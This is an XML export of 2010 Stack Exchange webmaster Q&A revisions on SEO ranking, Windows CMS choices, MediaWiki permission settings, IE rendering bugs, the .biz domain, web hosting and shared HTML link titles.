  <row Id="4886" PostHistoryTypeId="2" PostId="2517" RevisionGUID="203ed772-1f6f-45ec-af6b-b80dc93d5dde" CreationDate="2010-08-24T20:39:21.063" UserId="1253" Text="Speculation (as it always is with SEO):&#xD;&#xA;&#xD;&#xA;1) Your first search occurred while Google was updating its index and you caught it at a moment when SO was 8th due to whatever Google does when they do their updates. I see sites that I run that are ranked number one occasionally come up somewhere else in the top ten briefly but they always return to number 1 quickly.&#xD;&#xA;&#xD;&#xA;2) The attribution you requested and received gave your page more relevance then the page it was linked from. Their link either carried a lot of value because the site ranks well for that search term and/or by attributing the original content to you Google recognizes your pages as the source of the content and gives it higher precedence (as it should).&#xD;&#xA;&#xD;&#xA;I think #2 is more likely." />
  <row Id="4887" PostHistoryTypeId="2" PostId="2518" RevisionGUID="bcb37ece-5e14-4574-94b7-997b28560662" CreationDate="2010-08-24T21:46:33.300" UserId="871" Text="There is simply too much worry and panic about Google on this board. Google happens, things get wierd, stuff moves around, it may be something you did, it may be something you did not do, it may be something someone else did, it may be something someone else did not do. It may have been something done weeks ago, it may have been something done just before.&#xD;&#xA;&#xD;&#xA;Think of Google like a girlfriend, you sorta think you know what to do but sometimes you get mixed results and it may not even be your fault." />
  <row Id="4888" PostHistoryTypeId="2" PostId="2519" RevisionGUID="e674fbf8-e58e-4712-a72a-0e47f7294ee5" CreationDate="2010-08-24T21:53:12.890" UserId="239" Text="Ideal features: &#xD;&#xA;&#xD;&#xA; - windows&#xD;&#xA; - allows for localization&#xD;&#xA; - allows us to make it look exactly like the current http://fogcreek.com&#xD;&#xA;&#xD;&#xA;We're currently using ASP.NET, which means you have to check out the website to make any changes (and so our front page has stuff from a year ago on it).  Lame.&#xD;&#xA;&#xD;&#xA;Can be free or paid.  Any suggestions?" />
  <row Id="4889" PostHistoryTypeId="1" PostId="2519" RevisionGUID="e674fbf8-e58e-4712-a72a-0e47f7294ee5" CreationDate="2010-08-24T21:53:12.890" UserId="239" Text="Where should I look for a windows based CMS?" />
  <row Id="4890" PostHistoryTypeId="3" PostId="2519" RevisionGUID="e674fbf8-e58e-4712-a72a-0e47f7294ee5" CreationDate="2010-08-24T21:53:12.890" UserId="239" Text="&lt;cms&gt;" />
  <row Id="4891" PostHistoryTypeId="2" PostId="2520" RevisionGUID="3d49065d-5049-45e4-89a0-c3587ff08174" CreationDate="2010-08-24T22:06:57.973" UserId="353" Text="Just about any CMS can be run on Windows these days. A good starting point might be [CMS Matrix][1].&#xD;&#xA;&#xD;&#xA;I remember a while back [PHP support on IIS][2] got significantly better, so now there's no need to run Apache to have good PHP support on a Windows server. ASP.NET support is still strong, as well. MySQL and PostgreSQL also run just fine on Windows, and between MySQL, Postgres, and MSSQL, you should be able to support any off-the-shelf CMS. And any good CMS would allow you to theme it anyway you want - just take a look at various Drupal, WordPress, and Joomla! powered sites to see what people have done.&#xD;&#xA;&#xD;&#xA;So, in short: any CMS can be run on Windows now. I've been involved with the deployment of a number of CMSes, but I would need to know more about your requirements to actually suggest a specific one. If you want to test, try them all. WordPress and Drupal are solid PHP based CMSes. The only ASP.NET CMS that I've deployed was .NET Nuke. And if you want to build your own, there are lots of good frameworks for every language.&#xD;&#xA;&#xD;&#xA;So the specific questions to ask:&#xD;&#xA;&#xD;&#xA; - What languages are your developers familiar with? If you want to extend or customize, you probably are going to want to use a tool built with languages your developers already know to reduce the learning curve.&#xD;&#xA; - What database backend are you running? The major block to running a given CMS is the database support that is provided. Although if you are up for extending or (in some cases) making core modifications, you can support any DB.&#xD;&#xA; - How much are you willing to pay? A CMS can run from FOSS software to hundreds of dollars, with some even offering subscription services.&#xD;&#xA; - What features do you need out-of-the-box? Although most CMSes are extensible, when you upgrade, you risk breaking extensions. You probably want certain features to be native to the CMS so that when you upgrade, you don't lose those features.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cmsmatrix.org/&#xD;&#xA;  [2]: http://php.iis.net/" />
  <row Id="4892" PostHistoryTypeId="2" PostId="2521" RevisionGUID="71f71199-0990-4450-8a9b-d5ede71b57b3" CreationDate="2010-08-24T22:22:49.113" UserId="1718" Text="This is probably a question that should be asked on serverfault.com, but let me try to answer that question regardless.&#xD;&#xA;I use rackspacecloud, they're a cloud provider, although what they offer are very similar to what VPS providers offer, they just do billing by the hour and allow you to automatically provision new servers if needed.&#xD;&#xA;You have the ability to backup a server and store it on their cloud files (the equivalent of Amazon S3) and spawn more servers based on that backup which is essentially an image of the server.&#xD;&#xA;&#xD;&#xA;This can be used only on rackspacecloud, but since they're working on open sourcing their infrastructure to ideally disable vendor lock-in, we might live to a brighter future where people will be able to own their images and move them around regardless of the provider.&#xD;&#xA;&#xD;&#xA;Additionally if you setup the VPS yourself (using a dedicated server and openVZ), you can backup the server and move it around to another server with openVZ installed, knowing this is possible (since openVZ is in fact abstracting the server hardware from the VPS), you should be in theory able to move that image to any provider who is based on openVZ, but good luck with that.&#xD;&#xA;&#xD;&#xA;Hope that helped!" />
  <row Id="4893" PostHistoryTypeId="2" PostId="2522" RevisionGUID="fbf8f066-09de-4ad2-80b0-2bcfb8cd83d1" CreationDate="2010-08-24T22:30:03.560" UserId="1064" Text="The inner quotes are still recognized as a control character in the query (note that Google strips out all non-alphanumeric characters *except* control characters when running a query - you can add apostrophes, periods, and commas to the query without altering the search results).&#xD;&#xA;&#xD;&#xA;Your effective search on the first go was:&#xD;&#xA;&#xD;&#xA;    &quot;Submitting values of &quot; jQuery Editable Invoice &quot; into a MySQL DB using PHP&quot;&#xD;&#xA;&#xD;&#xA;Because different parts of the string were tagged as verbatim, the lookup for the string could very well have returned something other than the best ranked page for *other* queries.&#xD;&#xA;&#xD;&#xA;Consider [google doesn't do what i want][1] versus [google &quot;doesn't do what i want&quot;][2] - two different queries with different results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/#hl=en&amp;safe=off&amp;q=google+doesn't+do+what+i+want&#xD;&#xA;  [2]: http://www.google.com/#hl=en&amp;safe=off&amp;q=google+&quot;doesn't+do+what+i+want&quot;" />
  <row Id="4894" PostHistoryTypeId="2" PostId="2523" RevisionGUID="ceb9ba40-2e52-4a7b-a306-792717e37f31" CreationDate="2010-08-24T22:45:48.153" UserId="1064" Text="I've used MediaWiki as a CMS on quite a few occasions, though my goal has been to publish (i.e. allow anyone else to view and only editors access to write) content but restrict edit access.&#xD;&#xA;&#xD;&#xA;To lock down write privileges:&#xD;&#xA;&#xD;&#xA;&gt; $wgGroupPermissions['*']['createaccount']&#xD;&#xA;&gt; = false; $wgGroupPermissions['*']['edit'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['editpage'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['edittalk'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['createpage']&#xD;&#xA;&gt; = false; $wgGroupPermissions['*']['createtalk']&#xD;&#xA;&gt; = false;&#xD;&#xA;&gt; &#xD;&#xA;&gt; $wgGroupPermissions['sysops']['createaccount']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['edit']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['editpage']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['edittalk']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['createpage']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['createtalk']&#xD;&#xA;&gt; = true;&#xD;&#xA;&#xD;&#xA;... and allow use of raw HTML (highly desirable if you're using MW to publish):&#xD;&#xA;&#xD;&#xA;&gt; $wgRawHtml = true;&#xD;&#xA;&#xD;&#xA;Using basic user authentication supported by your webserver sounds like a reasonable way to prevent unauthorized parties from reading the content of your wiki, though there is probably no need to prevent people who are already authenticated from writing on your wiki (unless you have three tiers of privilege - i.e. no-read,no-write/read,no-write/read,write).&#xD;&#xA;&#xD;&#xA;Edit: For long-term use (and if you need to support a growing number of users' privileges) I think you'd be best-served to find a plugin which supports exactly what you're trying to do and/or customize your MW installation to handle user authentication in addition to read/write access.&#xD;&#xA;&#xD;&#xA;Note that many of the existing MW plugins intended to prevent read access on specific pages have been plagued with &quot;bugs&quot; (i.e. a user could use the MW Export functionality to see the content of the page) because MW itself was never intended to include the feature in question - if you're hosting stuff no one else should see, you'll likely need to lock a lot of things down.&#xD;&#xA;&#xD;&#xA;One site you might be interested in would be [mwusers.com][1] - plenty of relevant discussion (including experience w/various strategies and plugins) there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mwusers.com/forums/content.php" />
  <row Id="4895" PostHistoryTypeId="5" PostId="2523" RevisionGUID="277f3a0a-1d4e-4aa5-883a-47e76ea44246" CreationDate="2010-08-24T22:50:49.230" UserId="1064" Comment="added 7 characters in body" Text="I've used MediaWiki as a CMS on quite a few occasions, though my goal has been to publish (i.e. allow anyone else to view and only editors access to write) content but restrict edit access.&#xD;&#xA;&#xD;&#xA;To lock down write privileges:&#xD;&#xA;&#xD;&#xA;&gt; $wgGroupPermissions['*']['createaccount']&#xD;&#xA;&gt; = false; $wgGroupPermissions['*']['edit'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['editpage'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['edittalk'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['createpage']&#xD;&#xA;&gt; = false; $wgGroupPermissions['*']['createtalk']&#xD;&#xA;&gt; = false;&#xD;&#xA;&gt; &#xD;&#xA;&gt; $wgGroupPermissions['sysops']['createaccount']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['edit']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['editpage']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['edittalk']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['createpage']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['createtalk']&#xD;&#xA;&gt; = true;&#xD;&#xA;&#xD;&#xA;... and allow use of raw HTML (highly desirable if you're using MW to publish):&#xD;&#xA;&#xD;&#xA;&gt; $wgRawHtml = true;&#xD;&#xA;&#xD;&#xA;Using basic user authentication supported by your webserver sounds like a reasonable way to prevent unauthorized parties from reading the content of your wiki, though there is probably no need to prevent people who are already authenticated from writing on your wiki (unless you have three tiers of privilege - i.e. no-read,no-write/read,no-write/read,write).&#xD;&#xA;&#xD;&#xA;Edit: For long-term use (and if you need to support a growing number of users' privileges) I think you'd be best-served to find a plugin which supports exactly what you're trying to do and/or customize your MW installation to handle user authentication for reading in addition to write access.&#xD;&#xA;&#xD;&#xA;Note that many of the existing MW plugins intended to prevent read access on specific pages have been plagued with &quot;bugs&quot; (i.e. a user could use the MW Export functionality to see the content of the page) because MW itself was never intended to include the feature in question - if you're hosting stuff no one else should see, you'll likely need to lock a lot of things down.&#xD;&#xA;&#xD;&#xA;One site you might be interested in would be [mwusers.com][1] - plenty of relevant discussion (including experience w/various strategies and plugins) there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mwusers.com/forums/content.php" />
  <row Id="4896" PostHistoryTypeId="2" PostId="2524" RevisionGUID="fce1ad65-0cc7-47a2-bec0-d7e4a67d61c2" CreationDate="2010-08-24T23:05:46.463" UserId="113" Text="IE is commonly known as the most problematic browser in terms of consistent look and feel. What are some of the most common/most important IE rendering 'bugs'?&#xD;&#xA;&#xD;&#xA;Version specific things are fine, just mention that its version specific. " />
  <row Id="4897" PostHistoryTypeId="1" PostId="2524" RevisionGUID="fce1ad65-0cc7-47a2-bec0-d7e4a67d61c2" CreationDate="2010-08-24T23:05:46.463" UserId="113" Text="What are the most common rendering problems with Internet Explorer?" />
  <row Id="4898" PostHistoryTypeId="3" PostId="2524" RevisionGUID="fce1ad65-0cc7-47a2-bec0-d7e4a67d61c2" CreationDate="2010-08-24T23:05:46.463" UserId="113" Text="&lt;internet-explorer&gt;" />
  <row Id="4899" PostHistoryTypeId="2" PostId="2525" RevisionGUID="bba24e89-21a8-499d-af0a-d0ea67299b69" CreationDate="2010-08-24T23:16:12.093" UserId="113" Text=".com is the most preferable TLD most of the time, so many people choosing domain names have to pick between `desiredname.something_else` or `totallydifferent.com`. &#xD;&#xA;&#xD;&#xA;From [wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; The biz TLD was created to relieve some of the demand for domain names in the com top-level domain, and to provide an alternative for businesses whose preferred domain name in com had already been registered by another party.&#xD;&#xA;&#xD;&#xA;.org at least implies an organization, whereas .com is the most generic 'commercial'. But .biz seems like a total duplicate that doesn't seem in widespread use `&lt;pun&gt;`and deserves to be closed. `&lt;/pun&gt;`. Does .biz have any advantages over .com? Are .biz domains worth registering if .com is already taken?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/.biz" />
  <row Id="4900" PostHistoryTypeId="1" PostId="2525" RevisionGUID="bba24e89-21a8-499d-af0a-d0ea67299b69" CreationDate="2010-08-24T23:16:12.093" UserId="113" Text="Does the .biz internet top-level domain deserve to be taken seriously?" />
  <row Id="4901" PostHistoryTypeId="3" PostId="2525" RevisionGUID="bba24e89-21a8-499d-af0a-d0ea67299b69" CreationDate="2010-08-24T23:16:12.093" UserId="113" Text="&lt;top-level-domains&gt;" />
  <row Id="4902" PostHistoryTypeId="2" PostId="2526" RevisionGUID="a39a26c8-5ea0-4878-b7e9-4d24daf69e22" CreationDate="2010-08-24T23:24:01.800" UserId="141" Text="What are the best hosting services?" />
  <row Id="4903" PostHistoryTypeId="1" PostId="2526" RevisionGUID="a39a26c8-5ea0-4878-b7e9-4d24daf69e22" CreationDate="2010-08-24T23:24:01.800" UserId="141" Text="Web hosting services" />
  <row Id="4904" PostHistoryTypeId="3" PostId="2526" RevisionGUID="a39a26c8-5ea0-4878-b7e9-4d24daf69e22" CreationDate="2010-08-24T23:24:01.800" UserId="141" Text="&lt;web-hosting&gt;" />
  <row Id="4905" PostHistoryTypeId="16" PostId="2526" RevisionGUID="a39a26c8-5ea0-4878-b7e9-4d24daf69e22" CreationDate="2010-08-24T23:24:01.800" UserId="141" />
  <row Id="4906" PostHistoryTypeId="2" PostId="2527" RevisionGUID="29e641d4-df5c-4c5c-9bf6-b699f0496cd5" CreationDate="2010-08-24T23:24:41.270" UserId="745" Text="I wrote an article a few months ago for common IE6 bugs: [Ultimate IE6 Cheatsheet: How To Fix 25+ Internet Explorer 6 Bugs][1]. It'll help for some IE7-specific bugs as well. There are more resources at the bottom if you need them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtuosimedia.com/tutorials/ultimate-ie6-cheatsheet-how-to-fix-25-internet-explorer-6-bugs" />
  <row Id="4907" PostHistoryTypeId="2" PostId="2528" RevisionGUID="22fcea1b-27d0-4770-9274-3723d88d7bbf" CreationDate="2010-08-24T23:26:39.817" UserId="233" Text="The worst mistake a developer can make is not using a doctype. This sends IE into &quot;quirks mode&quot; where it uses a different box model and has many other problems. This is simple to fix, you can even use the HTML5 doctype to trigger standards mode: `&lt;!DOCTYPE html&gt;`&#xD;&#xA;&#xD;&#xA;The second major bug is the double-margin float bug. When you float any element and apply a margin, it is doubled in IE6. You can fix that by adding `display: inline` to that element's CSS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(Note: This question may be better asked - or already have been asked - on [Stack Overflow][1].)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com" />
  <row Id="4908" PostHistoryTypeId="2" PostId="2529" RevisionGUID="1e10fee6-3d45-4097-95f2-f01ff8953ed9" CreationDate="2010-08-24T23:36:39.283" UserId="233" Text="Google often returns different results for quotes vs non-quotes. SERPs can also change pretty wildly for the exact same query, particularly if many pages match the text string with little else to distinguish them like more in-links.&#xD;&#xA;&#xD;&#xA;It could also be any number of other things, including:&#xD;&#xA;&#xD;&#xA;* Personalized search results (if you clicked the SO link it may appear higher next time you run similar queries).&#xD;&#xA;* An algorithmic change.&#xD;&#xA;* A different data center which was not completely up-to-date.&#xD;&#xA;* Now that the other site links to you, Google probably picked it up and gave you a bit more &quot;juice&quot;, putting you head and shoulders above the rest." />
  <row Id="4909" PostHistoryTypeId="2" PostId="2530" RevisionGUID="01d42e56-cb67-4cf1-91a1-515a57a4a2bb" CreationDate="2010-08-24T23:43:13.467" UserId="1253" Text="Technically the .biz TLD is every bit as good as .com since they do, and mean, the same thing. Having said that, .biz seems to be on almost no one's radar. It rarely is discussed as an alternative to .com whenever a prefered .com domain name is taken. Typically .net, or a more convoluted or longer .com, being prefered. &#xD;&#xA;&#xD;&#xA;Whether to use a .biz or alternative depends on what all of your available options are. If you can find an alternative .com to use it probably is your best bet as .coms tend to come first to mind over .biz and everything else. Users are more likely to type .com just out of habit. But if you can't find a suitable .com a .biz may be your best bet as a short, memorable .biz with good keywords in it (for SEO) trumps having a .com just for the sake of having a .com." />
  <row Id="4910" PostHistoryTypeId="2" PostId="2531" RevisionGUID="7fa87454-9377-4873-beed-a84c1d6a2fb3" CreationDate="2010-08-24T23:52:22.600" UserId="1253" Text="This seems like a fairly complete list:&#xD;&#xA;&#xD;&#xA;http://channel9.msdn.com/wiki/wiki/InternetExplorerBugs/" />
  <row Id="4911" PostHistoryTypeId="5" PostId="2524" RevisionGUID="4111ac26-5428-4c7e-b351-7ac065bdd75d" CreationDate="2010-08-25T00:04:07.553" UserId="108" Comment="Edited to move away from being questioned as a Community Wiki" Text="IE is commonly known as the most problematic browser in terms of consistent look and feel. What are the most important IE rendering 'bugs'?&#xD;&#xA;&#xD;&#xA;Version specific things are fine, just mention that its version specific. " />
  <row Id="4912" PostHistoryTypeId="10" PostId="2493" RevisionGUID="6163fb1e-921b-4cc4-92ad-40b1daafef7f" CreationDate="2010-08-25T00:13:21.020" UserId="180" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="4913" PostHistoryTypeId="2" PostId="2532" RevisionGUID="c57720a2-56d2-40b2-aff9-b829aa98c303" CreationDate="2010-08-25T00:14:04.223" UserId="1126" Text="If I were you, given that you have a software company, I would stick with an ordinary ASP.NET application with Master Pages and a SQL Server backend.  I have found that a CMS causes more headaches than they solve.  You mentioned you have to do a check out to make changes.  So what?  At work our content editors use Subversion to make editorial edits to our non-CMS Asp.net applications.  Subversion is easy enough for editorial staff to understand and it allows them to have revision history.  The only HTML tags they really need to learn are `&lt;p&gt;, &lt;br/&gt;, &lt;strong&gt;, &lt;em&gt;, &lt;li&gt;, &lt;img&gt; and &lt;a&gt;.` I would argue it is just as easy to teach someone basic HTML than to teach them how to use a CMS.   Don't frustrate your star developers by making them have to work around a CMS.     &#xD;&#xA;&#xD;&#xA;If you are married to the idea, at my day job I use Sitecore which is a Asp.Net based CMS.  It is very flexible for developers, but the learning curve is high and it costs several thousand dollars.  I also hear great things about Dotnetnuke which is open source." />
  <row Id="4914" PostHistoryTypeId="2" PostId="2533" RevisionGUID="9c0e6f51-ea5c-4711-a053-a7ad35f973e0" CreationDate="2010-08-25T00:18:07.737" UserId="1603" Text="You can download and try Composite C1 - here is a blog post on installing it via WebMatrix http://docs.composite.net/C1/TeamBlog.aspx/2010/08/13/The-WebMatrix-experience you can also download it here http://docs.composite.net/C1/Getting-started/Download.aspx&#xD;&#xA;&#xD;&#xA;It's ASP.NET 4 based but it's primarily it's XSLT features that give you great layout control." />
  <row Id="4915" PostHistoryTypeId="5" PostId="2533" RevisionGUID="a0b419bf-334e-46d6-9826-a8d9171bf99e" CreationDate="2010-08-25T00:41:27.007" UserId="1603" Comment="Added youtube link" Text="You can download and try Composite C1 - here is a blog post on installing it via WebMatrix http://docs.composite.net/C1/TeamBlog.aspx/2010/08/13/The-WebMatrix-experience you can also download it here http://docs.composite.net/C1/Getting-started/Download.aspx&#xD;&#xA;&#xD;&#xA;It's ASP.NET 4 based but it's primarily it's XSLT features that give you great layout control.&#xD;&#xA;&#xD;&#xA;There are short videos showing the user experience here; http://www.youtube.com/results?search_query=C1+starter+tip" />
  <row Id="4916" PostHistoryTypeId="2" PostId="2534" RevisionGUID="443fc5d4-13ea-4325-89f4-4e70396bb285" CreationDate="2010-08-25T01:59:53.770" UserId="138" Text="If you're using vanity nameservers for your other domains, you'll need to ensure that your glue records come over with the transfer (I've had these lost in transit before), but apart from that there should be no discernable difference." />
  <row Id="4919" PostHistoryTypeId="5" PostId="2483" RevisionGUID="41fecd2d-f74c-4b72-ba1f-a942faac33a8" CreationDate="2010-08-25T04:26:24.293" UserId="1694" Comment="added 5 characters in body" Text="[Spamgourmet](http://www.spamgourmet.com/) offers the source code for their service for people who want to run their own disposable email service. Are there any others available for download?&#xD;&#xA;&#xD;&#xA;I'd prefer them to be written in PHP but I'm mostly just curious to see other options out there." />
  <row Id="4920" PostHistoryTypeId="2" PostId="2536" RevisionGUID="d3f78016-13c9-42d1-a64e-f64642f9284e" CreationDate="2010-08-25T08:11:19.673" UserId="1723" Text="The thing is I have a table containing ~2000 rows where each row contain a link that has the same title e.g. &#xD;&#xA;&#xD;&#xA;    &lt;a id=&quot;1&quot; title=&quot;A very long string common to all my links that i would like to have only once in the file in order to gain weight&quot; href=&quot;goThere1&quot;&gt;My 1st link&lt;/a&gt;&#xD;&#xA;    [...]    &#xD;&#xA;    &lt;a id=&quot;2000&quot; title=&quot;A very long string common to all my links that i would like to have only once in the file in order to gain weight&quot; href=&quot;goThere2000&quot;&gt;My 2000th link&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I'm wondering if it is possible not to have this very long title string 2000 times !?" />
  <row Id="4921" PostHistoryTypeId="1" PostId="2536" RevisionGUID="d3f78016-13c9-42d1-a64e-f64642f9284e" CreationDate="2010-08-25T08:11:19.673" UserId="1723" Text="Is it possible to make all html links to share the same title ?" />
  <row Id="4922" PostHistoryTypeId="3" PostId="2536" RevisionGUID="d3f78016-13c9-42d1-a64e-f64642f9284e" CreationDate="2010-08-25T08:11:19.673" UserId="1723" Text="&lt;css&gt;&lt;html&gt;" />
  <row Id="4923" PostHistoryTypeId="2" PostId="2537" RevisionGUID="e4c99c55-a5fa-4216-bc42-12739438ae47" CreationDate="2010-08-25T09:01:23.913" UserId="1429" Text="**I don't think they are worth registering at all.**&#xD;&#xA;&#xD;&#xA;If yourdomain.com is already taken try something different but that still ends with the .com&#xD;&#xA;&#xD;&#xA;IMO the only other domains are worth registering are the **country specific domain**.&#xD;&#xA;If you start a business in Italy (and you planned to sell there) it's much better to get a yourbusiness.it domain rather than a .com&#xD;&#xA;The reason for this are two:&#xD;&#xA;&#xD;&#xA;- people in specific country are more used to enter the country code domain than the .com one. As long as they are searching for local business. So in Germany people expects to find your business at yourbusiness.de more than at yourbusiness.com. Same think in belgium .be, in italy .it, in France .fr, and so on.&#xD;&#xA;&#xD;&#xA;- on country Google you might rank higher. When searching on Google.it I always get the impression .it domains are generally ranking higher than .com domains. Obviously the website must be written in Italian. You can read very interesting stuff on Google official site here: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html and also here about [Multi-regional and multilingual sites][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=182192" />
  <row Id="4924" PostHistoryTypeId="6" PostId="2494" RevisionGUID="c01b63f7-0cff-472a-9f45-cdc5d28741bc" CreationDate="2010-08-25T09:26:17.790" UserId="1703" Comment="Adding tags" Text="&lt;design&gt;&lt;resolution&gt;" />
  <row Id="4925" PostHistoryTypeId="2" PostId="2538" RevisionGUID="491f28de-eb82-414c-aae2-8206e1eec4f9" CreationDate="2010-08-25T09:29:26.877" UserId="1703" Text="Well as a shared server:&#xD;&#xA;hostmonster.com - cheap and unlimited for basically everything, they also pass PCI scans when you purchase a dedicated IP address, which I found that not many hosts can provide for that price." />
  <row Id="4926" PostHistoryTypeId="16" PostId="2538" RevisionGUID="491f28de-eb82-414c-aae2-8206e1eec4f9" CreationDate="2010-08-25T09:29:26.877" UserId="-1" />
  <row Id="4927" PostHistoryTypeId="2" PostId="2539" RevisionGUID="99400613-4288-400e-8aeb-1550e640d5e6" CreationDate="2010-08-25T10:31:47.897" UserId="1703" Text="We have a mailman mailing list however as we all know this is not very user friendly in terms of searching the archives. &#xD;&#xA;&#xD;&#xA;I am looking at a way to enable the continued functionality of mailman while having a forum linked to it for a more friendly user-interface approach.&#xD;&#xA;&#xD;&#xA;Is there a forum application that lets you mirror the mailman service so that posts to mailman are sync'd into the forum and posts to the forum are sync'd to mailman?" />
  <row Id="4928" PostHistoryTypeId="1" PostId="2539" RevisionGUID="99400613-4288-400e-8aeb-1550e640d5e6" CreationDate="2010-08-25T10:31:47.897" UserId="1703" Text="Are there any useful tools to mirror a mailman mailing list as a forum?" />
  <row Id="4929" PostHistoryTypeId="3" PostId="2539" RevisionGUID="99400613-4288-400e-8aeb-1550e640d5e6" CreationDate="2010-08-25T10:31:47.897" UserId="1703" Text="&lt;forum&gt;&lt;mailing-list&gt;&lt;integration&gt;&lt;mirror&gt;" />
  <row Id="4930" PostHistoryTypeId="2" PostId="2540" RevisionGUID="a8534a52-f953-4daf-80e0-cd6d15038b02" CreationDate="2010-08-25T10:53:53.607" UserId="1703" Text="I've had a look for this before but couldn't find the exact thing. I did find these though and they might be useful to you:&#xD;&#xA;&#xD;&#xA;http://www.simpleviewer.net/simpleviewer/&#xD;&#xA;&#xD;&#xA;http://slideshowpro.net/" />
  <row Id="4931" PostHistoryTypeId="2" PostId="2541" RevisionGUID="8be72405-cff3-42f7-b7a1-55fd42ed0dca" CreationDate="2010-08-25T10:59:53.880" UserId="1703" Text="Have you had a look at phpBB3? You can read about their default auth settings here: http://news.softpedia.com/news/Communication-settings-in-phpBB3-65420.shtml&#xD;&#xA;&#xD;&#xA;They offer LDAP." />
  <row Id="4932" PostHistoryTypeId="2" PostId="2542" RevisionGUID="508f7c72-0e79-4508-8fd5-b2cab69aab6b" CreationDate="2010-08-25T11:02:38.580" UserId="480" Text="If you would like the title attribute to effective on each &amp;lt;A&amp;gt; element without putting the title against each link, then nest it in a DIV and assign the title attribute to the DIV.&#xD;&#xA;&#xD;&#xA;For instance compare http://jsfiddle.net/tgew9/&#xD;&#xA;&#xD;&#xA;	&lt;a id=&quot;1&quot; title=&quot;A very long string common to all my links that i would like to have only once in the file in order to gain weight&quot; href=&quot;goThere1&quot;&gt;My 1st link&lt;/a&gt;&#xD;&#xA;	[...]    &#xD;&#xA;	&lt;a id=&quot;2000&quot; title=&quot;A very long string common to all my links that i would like to have only once in the file in order to gain weight&quot; href=&quot;goThere2000&quot;&gt;My 2000th link&lt;/a&gt;?&#xD;&#xA;&#xD;&#xA;with http://jsfiddle.net/tgew9/1/&#xD;&#xA;&#xD;&#xA;	&lt;div title=&quot;A very long string common to all my links that i would like to have only once in the file in order to gain weight&quot;&gt;&#xD;&#xA;	&lt;a id=&quot;1&quot; href=&quot;goThere1&quot;&gt;My 1st link&lt;/a&gt;&#xD;&#xA;	[...]    &#xD;&#xA;	&lt;a id=&quot;2000&quot; href=&quot;goThere2000&quot;&gt;My 2000th link&lt;/a&gt;&#xD;&#xA;	&lt;/div&gt;" />
  <row Id="4933" PostHistoryTypeId="2" PostId="2543" RevisionGUID="fc28c0d3-3365-4cc5-916f-95bb560f360d" CreationDate="2010-08-25T11:46:03.720" UserId="1724" Text="That's kind of a vague question.&#xD;&#xA;&#xD;&#xA;When I had to change web hosts because of issues, I always went to http://www.webhostingtalk.com and looked for various comments about the web hosting companies. Expect to spend a few hours reading in there.&#xD;&#xA;&#xD;&#xA;You can start by searching webhostingtalk for the services that Thorn007 has highlighted in his post, and go from there.  Personally I've been using Addaction.net (shared hosting) for nearly six years.  That's after going through something like four web hosts in the first five years I had my web site.  Great support (only once did I have to wait for an answer) and uptime." />
  <row Id="4934" PostHistoryTypeId="16" PostId="2543" RevisionGUID="fc28c0d3-3365-4cc5-916f-95bb560f360d" CreationDate="2010-08-25T11:46:03.720" UserId="-1" />
  <row Id="4935" PostHistoryTypeId="2" PostId="2544" RevisionGUID="83c71674-2215-4eaf-8044-af356fe06c23" CreationDate="2010-08-25T12:15:03.560" UserId="1253" Text="If your links are in a database then you have a couple of options, both of which are simple to do.&#xD;&#xA;&#xD;&#xA;1) Update your database to include the title tag. If you don't already have a column for the title tag create one and then run this query: UPDATE tablename SET title = 'A very long string common to all my links that i would like to have only once in the file in order to gain weight';. Then whenever you dynamically generate the page(s) that use those links simply pull out and print the title with the rest of the link.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;2) Since the text is the same for every link just hard code it right into your code. Here's a PHP example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    while ($row = mysql_fetch_assoc($result))&#xD;&#xA;    {&#xD;&#xA;    &#xD;&#xA;        echo '&lt;a href=&quot;' . $row['url'] . '&quot; title=&quot;A very long string common to all my links that i would like to have only once in the file in order to gain weight&quot;&gt;' . $row['anchor_text'] . '&lt;/a&gt;';&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
